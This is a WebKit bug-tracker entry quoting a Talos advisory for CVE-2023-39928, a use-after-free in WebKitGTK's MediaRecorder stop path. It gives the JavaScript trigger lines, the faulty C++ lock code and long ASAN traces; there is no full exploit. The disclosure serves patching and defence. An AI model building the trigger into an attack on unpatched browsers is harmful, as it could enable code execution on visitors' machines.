260649 CVE-2023-39928 2023-08-24 01:51:19 -0700 A use-after-free vulnerability exists in the MediaRecorder API of Webkit WebKitGTK 2.40.5. A specially crafted web page can abuse this vulnerability to cause memory corruption and potentially arbitrary code execution. 2025-09-30 17:04:46 -0700 1 1 1 Unclassified Security Security WebKit Nightly Build Unspecified Unspecified RESOLVED FIXED InRadar P2 Normal --- 1 vulndiscovery webkit-security-unassigned bfulgham clopez ddkilzer eric.carlson mcatanzaro philn webkit-bug-importer yellowhairryan844 oldest_to_newest 1973223 0 467413 vulndiscovery 2023-08-24 01:51:19 -0700 Created attachment 467413 TALOS-2023-1831.txt TALOS-2023-1831 CVE-2023-39928 Webkit MediaRecorder API stopRecording use-after-free vulnerability Summary A use-after-free vulnerability exists in the MediaRecorder API of Webkit WebKitGTK 2.40.5. A specially crafted web page can abuse this vulnerability to cause memory corruption and potentially arbitrary code execution. A user would need to to visit a malicious webpage to trigger this vulnerability. Confirmed Vulnerable Versions The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor. Webkit WebKitGTK 2.40.5 Product URLs Webkit - https://webkit.org/ CVSSv3 Score 8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H CWE CWE-416 - Use After Free Details WebKit is an open-source web content engine for browsers and other applications. The vulnerabiliy is related with the MediaRecorder interface and the way this interface handles stop recording process. A malicious web page can trigger a use-after-free vulnerability which can potentialy result in remote code execution. Comapring code responsible for the crash and ASAN output we can pinpoint the following correlation: Line 9 mediaStreamAudioDst = audioCtx.createMediaStreamDestination(); Line 10 mediaRecorder = new MediaRecorder(mediaStreamAudioDst.stream); Line 11 mediaRecorder.start(); When we start recording line 11 internaly MediaRecorderPrivateGStreamer object gets allocated: previously allocated by thread T0 here: #0 0x562140f4f15e in malloc (/fuzzing/browsers/webkitgtk-2.40.5-debug/build/libexec/webkit2gtk-4.1/WebKitWebProcess+0xa115e) (BuildId: d6d880ff92796ed4f6097a57505dca7ef7439259) #1 0x7f0669f4bd0b in pas_try_allocate_intrinsic_impl_casual_case(__pas_heap*, unsigned long, unsigned long, pas_intrinsic_heap_support*, pas_heap_config, pas_allocation_result (*)(pas_local_allocator*, unsigned long, unsigned long), pas_allocation_result (*)(__pas_heap_ref*, unsigned long, unsigned long), pas_intrinsic_heap_designation_mode) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/bmalloc/libpas/src/libpas/pas_local_allocator_inlines.h #2 0x7f0669f4bd0b in bmalloc_allocate_impl_casual_case(unsigned long, unsigned long) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/bmalloc/libpas/src/libpas/bmalloc_heap_inlines.h:69:1 #3 0x7f066e89b6c8 in WebCore::MediaRecorderPrivateGStreamer::operator new(unsigned long) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/platform/mediarecorder/MediaRecorderPrivateGStreamer.h:41:5 #4 0x7f066e89b6c8 in std::_MakeUniq<WebCore::MediaRecorderPrivateGStreamer>::__single_object std::make_unique<WebCore::MediaRecorderPrivateGStreamer, WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&>(WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/unique_ptr.h:962:30 #5 0x7f066e89b6c8 in decltype(auto) WTF::makeUnique<WebCore::MediaRecorderPrivateGStreamer, WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&>(WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/StdLibExtras.h:569:12 #6 0x7f066e89b6c8 in WebCore::MediaRecorderPrivateGStreamer::create(WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/platform/mediarecorder/MediaRecorderPrivateGStreamer.cpp:49:21 #7 0x7f0670fd2bce in WebCore::MediaRecorderProvider::createMediaRecorderPrivate(WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorderProvider.cpp:51:12 #8 0x7f0670fa7ae0 in WebCore::MediaRecorder::createMediaRecorderPrivate(WebCore::Document&, WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorder.cpp:91:49 #9 0x7f0670fab19a in WebCore::MediaRecorder::startRecording(std::optional<unsigned int>) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorder.cpp:162:19 #10 0x7f066fd56280 in WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()::operator()() const /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:595:5 #11 0x7f066fd56280 in JSC::JSValue WebCore::toJS<WebCore::IDLUndefined, WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSDOMConvertBase.h:168:27 #12 0x7f066fd56280 in WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:595:5 #13 0x7f066fd56280 in long WebCore::IDLOperation<WebCore::JSMediaRecorder>::call<&(WebCore::jsMediaRecorderPrototypeFunction_startBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSDOMOperation.h:63:9 #14 0x7f066fd56280 in WebCore::jsMediaRecorderPrototypeFunction_start(JSC::JSGlobalObject*, JSC::CallFrame*) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:600:12 #15 0x7f061c2b4037 (<unknown module>) #16 0x7f0669ce0e8e in js_trampoline_op_call LowLevelInterpreter.cpp #17 0x7f0669cc3a79 in vmEntryToJavaScript (/fuzzing/browsers/webkitgtk-2.40.5-debug/build/lib/libjavascriptcoregtk-4.1.so.0+0x4e28a79) (BuildId: f55eedc27be823ac6dc7ab91b43c7dc1aa59b9ee) #18 0x7f06679902f0 in JSC::Interpreter::executeCallImpl(JSC::VM&, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/JavaScriptCore/interpreter/Interpreter.cpp:1123:32 #19 0x7f06679902f0 in JSC::Interpreter::executeCall(JSC::JSGlobalObject*, JSC::JSObject*, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/JavaScriptCore/interpreter/Interpreter.cpp:1132:16 #20 0x7f06685770cc in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/JavaScriptCore/runtime/CallData.cpp:57:27 #21 0x7f06685770cc in JSC::call(JSC::JSGlobalObject*, JSC::JSValue, JSC::CallData const&, JSC::JSValue, JSC::ArgList const&, WTF::NakedPtr<JSC::Exception>&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/JavaScriptCore/runtime/CallData.cpp:64:22 #22 0x7f0671712d9a in WebCore::JSEventListener::handleEvent(WebCore::ScriptExecutionContext&, WebCore::Event&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSEventListener.cpp:224:22 #23 0x7f06726f6ed2 in WebCore::EventTarget::innerInvokeEventListeners(WebCore::Event&, WTF::Vector<WTF::RefPtr<WebCore::RegisteredEventListener, WTF::RawPtrTraits<WebCore::RegisteredEventListener>, WTF::DefaultRefDerefTraits<WebCore::RegisteredEventListener> >, 1ul, WTF::CrashOnOverflow, 2ul, WTF::FastMalloc>, WebCore::EventTarget::EventInvokePhase) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/EventTarget.cpp:375:40 #24 0x7f06726d9fe1 in WebCore::EventTarget::fireEventListeners(WebCore::Event&, WebCore::EventTarget::EventInvokePhase) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/EventTarget.cpp:307:9 #25 0x7f0673d61c5f in WebCore::DOMWindow::dispatchEvent(WebCore::Event&, WebCore::EventTarget*) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/page/DOMWindow.cpp:2393:5 #26 0x7f0673d8c079 in WebCore::DOMWindow::dispatchLoadEvent() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/page/DOMWindow.cpp:2325:5 #27 0x7f067256cd00 in WebCore::Document::dispatchWindowLoadEvent() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/Document.cpp:5287:18 #28 0x7f067256cd00 in WebCore::Document::implicitClose() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/Document.cpp:3309:5 #29 0x7f0673a9e3f0 in WebCore::FrameLoader::checkCompleted() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/FrameLoader.cpp:911:5 #30 0x7f0673a97e43 in WebCore::FrameLoader::finishedParsing() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/FrameLoader.cpp:810:5 #31 0x7f06725b177f in WebCore::Document::finishedParsing() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/dom/Document.cpp:6380:25 #32 0x7f06732a4267 in WebCore::HTMLDocumentParser::end() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/html/parser/HTMLDocumentParser.cpp:446:20 #33 0x7f06732a4267 in WebCore::HTMLDocumentParser::attemptToRunDeferredScriptsAndEnd() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/html/parser/HTMLDocumentParser.cpp:455:5 #34 0x7f06732a4267 in WebCore::HTMLDocumentParser::prepareToStopParsing() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/html/parser/HTMLDocumentParser.cpp:150:5 #35 0x7f06732a9ee5 in WebCore::HTMLDocumentParser::finish() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/html/parser/HTMLDocumentParser.cpp:495:5 #36 0x7f0673a0c396 in WebCore::DocumentWriter::end() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/DocumentWriter.cpp:322:15 #37 0x7f0673a09327 in WebCore::DocumentLoader::finishedLoading() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/DocumentLoader.cpp:511:14 #38 0x7f0673c97436 in WebCore::CachedResource::checkNotify(WebCore::NetworkLoadMetrics const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/cache/CachedResource.cpp:340:17 #39 0x7f0673c86f0f in WebCore::CachedResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/cache/CachedResource.cpp:356:5 #40 0x7f0673c86f0f in WebCore::CachedRawResource::finishLoading(WebCore::FragmentedSharedBuffer const*, WebCore::NetworkLoadMetrics const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/cache/CachedRawResource.cpp:128:21 #41 0x7f0673bc43df in WebCore::SubresourceLoader::didFinishLoading(WebCore::NetworkLoadMetrics const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/loader/SubresourceLoader.cpp:751:17 #42 0x7f066e3ecce3 in WebKit::WebResourceLoader::didFinishResourceLoad(WebCore::NetworkLoadMetrics&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebKit/WebProcess/Network/WebResourceLoader.cpp:262:19 #43 0x7f066ce6bcdf in auto void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...)::operator()<WebCore::NetworkLoadMetrics>(auto&&...) const /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebKit/Platform/IPC/HandleMessage.h:136:13 #44 0x7f066ce6bcdf in WebKit::WebResourceLoader std::__invoke_impl<void, void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...), WebCore::NetworkLoadMetrics>(std::__invoke_other, WebKit::WebResourceLoader&&, WebCore::NetworkLoadMetrics&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/invoke.h:61:14 #45 0x7f066ce6bcdf in std::__invoke_result<WebKit::WebResourceLoader, WebCore::NetworkLoadMetrics>::type std::__invoke<void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...), WebCore::NetworkLoadMetrics>(WebKit::WebResourceLoader&&, WebCore::NetworkLoadMetrics&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/invoke.h:96:14 #46 0x7f066ce6bcdf in decltype(auto) std::__apply_impl<void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...), std::tuple<WebCore::NetworkLoadMetrics>, 0ul>(WebKit::WebResourceLoader&&, WebKit::WebResourceLoader&&, std::integer_sequence<unsigned long, 0ul>) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/tuple:1858:14 #47 0x7f066ce6bcdf in decltype(auto) std::apply<void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&)::'lambda'(auto&&...), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader&&, WebKit::WebResourceLoader&&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/tuple:1869:14 #48 0x7f066ce6bcdf in void IPC::callMemberFunction<WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics> >(WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&), std::tuple<WebCore::NetworkLoadMetrics>&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebKit/Platform/IPC/HandleMessage.h:134:5 #49 0x7f066ce6bcdf in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, WebKit::WebResourceLoader, void (WebCore::NetworkLoadMetrics&&)>(IPC::Connection&, IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(WebCore::NetworkLoadMetrics&&)) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebKit/Platform/IPC/HandleMessage.h:236:9 further when we call stop method: Line 12 mediaRecorder.stop(); it seems that Locker object is locked on class field m_dataLock which get released before Locker smart pointer destructor gets called which in turn leads to use-after-free: Source/WebCore/platform/mediarecorder/MediaRecorderPrivateGStreamer.cpp#111 void MediaRecorderPrivateGStreamer::fetchData(FetchDataCallback&& completionHandler) { Locker locker { m_dataLock }; GST_DEBUG_OBJECT(m_transcoder.get(), "Transfering %zu encoded bytes", m_data.size()); auto buffer = m_data.take(); completionHandler(WTFMove(buffer), mimeType(), m_position); } ASAN output showing write operation after object has been released : ==9887==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f0000fb018 at pc 0x7f066e89d6e1 bp 0x7ffea27d6010 sp 0x7ffea27d6008 WRITE of size 1 at 0x60f0000fb018 thread T0 #0 0x7f066e89d6e0 in std::__atomic_base<unsigned char>::compare_exchange_weak(unsigned char&, unsigned char, std::memory_order, std::memory_order) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/atomic_base.h:522:9 #1 0x7f066e89d6e0 in std::__atomic_base<unsigned char>::compare_exchange_weak(unsigned char&, unsigned char, std::memory_order) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/atomic_base.h:547:9 #2 0x7f066e89d6e0 in WTF::Atomic<unsigned char>::compareExchangeWeak(unsigned char, unsigned char, std::memory_order) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/Atomics.h:89:22 #3 0x7f066e89d6e0 in WTF::LockAlgorithm<unsigned char, (unsigned char)1, (unsigned char)2, WTF::EmptyLockHooks<unsigned char> >::unlockFastAssumingZero(WTF::Atomic<unsigned char>&) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/LockAlgorithm.h:88:21 #4 0x7f066e89d6e0 in WTF::Lock::unlock() /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/Lock.h:92:13 #5 0x7f066e89d6e0 in WTF::Locker<WTF::Lock>::~Locker() /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/Lock.h:168:20 #6 0x7f066e89d6e0 in WebCore::MediaRecorderPrivateGStreamer::fetchData(WTF::CompletionHandler<void (WTF::RefPtr<WebCore::FragmentedSharedBuffer, WTF::RawPtrTraits<WebCore::FragmentedSharedBuffer>, WTF::DefaultRefDerefTraits<WebCore::FragmentedSharedBuffer> >&&, WTF::String const&, double)>&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/platform/mediarecorder/MediaRecorderPrivateGStreamer.cpp:117:1 #7 0x7f0670fac6bc in WebCore::MediaRecorder::fetchData(WTF::Function<void (WTF::RefPtr<WebCore::FragmentedSharedBuffer, WTF::RawPtrTraits<WebCore::FragmentedSharedBuffer>, WTF::DefaultRefDerefTraits<WebCore::FragmentedSharedBuffer> >&&, WTF::String const&, double)>&&, WebCore::MediaRecorder::TakePrivateRecorder) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorder.cpp:312:21 #8 0x7f0670fac08f in WebCore::MediaRecorder::stopRecording() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorder.cpp:217:5 #9 0x7f066fd568b2 in WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()::operator()() const /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:610:5 #10 0x7f066fd568b2 in JSC::JSValue WebCore::toJS<WebCore::IDLUndefined, WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSDOMConvertBase.h:165:13 #11 0x7f066fd568b2 in WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:610:5 #12 0x7f066fd568b2 in long WebCore::IDLOperation<WebCore::JSMediaRecorder>::call<&(WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSDOMOperation.h:63:9 #13 0x7f066fd568b2 in WebCore::jsMediaRecorderPrototypeFunction_stop(JSC::JSGlobalObject*, JSC::CallFrame*) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:615:12 #14 0x7f061c2b4037 (<unknown module>) Proper heap grooming, and additional precisely timed JavaScript code, can give an attacker full control of this use-after-free vulnerability resulting in arbitrary code execution. Crash Information ================================================================= ==9887==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f0000fb018 at pc 0x7f066e89d6e1 bp 0x7ffea27d6010 sp 0x7ffea27d6008 WRITE of size 1 at 0x60f0000fb018 thread T0 #0 0x7f066e89d6e0 in std::__atomic_base<unsigned char>::compare_exchange_weak(unsigned char&, unsigned char, std::memory_order, std::memory_order) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/atomic_base.h:522:9 #1 0x7f066e89d6e0 in std::__atomic_base<unsigned char>::compare_exchange_weak(unsigned char&, unsigned char, std::memory_order) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/atomic_base.h:547:9 #2 0x7f066e89d6e0 in WTF::Atomic<unsigned char>::compareExchangeWeak(unsigned char, unsigned char, std::memory_order) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/Atomics.h:89:22 #3 0x7f066e89d6e0 in WTF::LockAlgorithm<unsigned char, (unsigned char)1, (unsigned char)2, WTF::EmptyLockHooks<unsigned char> >::unlockFastAssumingZero(WTF::Atomic<unsigned char>&) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/LockAlgorithm.h:88:21 #4 0x7f066e89d6e0 in WTF::Lock::unlock() /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/Lock.h:92:13 #5 0x7f066e89d6e0 in WTF::Locker<WTF::Lock>::~Locker() /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/Lock.h:168:20 #6 0x7f066e89d6e0 in WebCore::MediaRecorderPrivateGStreamer::fetchData(WTF::CompletionHandler<void (WTF::RefPtr<WebCore::FragmentedSharedBuffer, WTF::RawPtrTraits<WebCore::FragmentedSharedBuffer>, WTF::DefaultRefDerefTraits<WebCore::FragmentedSharedBuffer> >&&, WTF::String const&, double)>&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/platform/mediarecorder/MediaRecorderPrivateGStreamer.cpp:117:1 #7 0x7f0670fac6bc in WebCore::MediaRecorder::fetchData(WTF::Function<void (WTF::RefPtr<WebCore::FragmentedSharedBuffer, WTF::RawPtrTraits<WebCore::FragmentedSharedBuffer>, WTF::DefaultRefDerefTraits<WebCore::FragmentedSharedBuffer> >&&, WTF::String const&, double)>&&, WebCore::MediaRecorder::TakePrivateRecorder) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorder.cpp:312:21 #8 0x7f0670fac08f in WebCore::MediaRecorder::stopRecording() /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/Modules/mediarecorder/MediaRecorder.cpp:217:5 #9 0x7f066fd568b2 in WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()::operator()() const /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:610:5 #10 0x7f066fd568b2 in JSC::JSValue WebCore::toJS<WebCore::IDLUndefined, WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()>(JSC::JSGlobalObject&, JSC::ThrowScope&, WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)::'lambda'()&&) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSDOMConvertBase.h:165:13 #11 0x7f066fd568b2 in WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:610:5 #12 0x7f066fd568b2 in long WebCore::IDLOperation<WebCore::JSMediaRecorder>::call<&(WebCore::jsMediaRecorderPrototypeFunction_stopBody(JSC::JSGlobalObject*, JSC::CallFrame*, WebCore::JSMediaRecorder*)), (WebCore::CastedThisErrorBehavior)0>(JSC::JSGlobalObject&, JSC::CallFrame&, char const*) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/bindings/js/JSDOMOperation.h:63:9 #13 0x7f066fd568b2 in WebCore::jsMediaRecorderPrototypeFunction_stop(JSC::JSGlobalObject*, JSC::CallFrame*) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WebCore/DerivedSources/JSMediaRecorder.cpp:615:12 #14 0x7f061c2b4037 (<unknown module>) 0x60f0000fb018 is located 136 bytes inside of 168-byte region [0x60f0000faf90,0x60f0000fb038) freed by thread T0 here: #0 0x562140f4eeb2 in __interceptor_free (/fuzzing/browsers/webkitgtk-2.40.5-debug/build/libexec/webkit2gtk-4.1/WebKitWebProcess+0xa0eb2) (BuildId: d6d880ff92796ed4f6097a57505dca7ef7439259) #1 0x7f0669f95cf2 in pas_try_deallocate_not_small_exclusive_segregated(pas_thread_local_cache*, unsigned long, pas_heap_config, pas_deallocation_mode, pas_fast_megapage_kind) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/bmalloc/libpas/src/libpas/pas_deallocate.h:104:9 #2 0x7f0669f95cf2 in bmalloc_heap_config_specialized_try_deallocate_not_small_exclusive_segregated /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/bmalloc/libpas/src/libpas/bmalloc_heap_config.c:43:1 previously allocated by thread T0 here: #0 0x562140f4f15e in malloc (/fuzzing/browsers/webkitgtk-2.40.5-debug/build/libexec/webkit2gtk-4.1/WebKitWebProcess+0xa115e) (BuildId: d6d880ff92796ed4f6097a57505dca7ef7439259) #1 0x7f0669f4bd0b in pas_try_allocate_intrinsic_impl_casual_case(__pas_heap*, unsigned long, unsigned long, pas_intrinsic_heap_support*, pas_heap_config, pas_allocation_result (*)(pas_local_allocator*, unsigned long, unsigned long), pas_allocation_result (*)(__pas_heap_ref*, unsigned long, unsigned long), pas_intrinsic_heap_designation_mode) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/bmalloc/libpas/src/libpas/pas_local_allocator_inlines.h #2 0x7f0669f4bd0b in bmalloc_allocate_impl_casual_case(unsigned long, unsigned long) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/bmalloc/libpas/src/libpas/bmalloc_heap_inlines.h:69:1 #3 0x7f066e89b6c8 in WebCore::MediaRecorderPrivateGStreamer::operator new(unsigned long) /fuzzing/browsers/webkitgtk-2.40.5-debug/Source/WebCore/platform/mediarecorder/MediaRecorderPrivateGStreamer.h:41:5 #4 0x7f066e89b6c8 in std::_MakeUniq<WebCore::MediaRecorderPrivateGStreamer>::__single_object std::make_unique<WebCore::MediaRecorderPrivateGStreamer, WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&>(WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) /usr/bin/../lib/gcc/x86_64-linux-gnu/11/../../../../include/c++/11/bits/unique_ptr.h:962:30 #5 0x7f066e89b6c8 in decltype(auto) WTF::makeUnique<WebCore::MediaRecorderPrivateGStreamer, WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&>(WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) /fuzzing/browsers/webkitgtk-2.40.5-debug/build/WTF/Headers/wtf/StdLibExtras.h:569:12 #6 0x7f066e89b6c8 in WebCore::MediaRecorderPrivateGStreamer::create(WebCore::MediaStreamPrivate&, WebCore::MediaRecorderPrivateOptions const&) 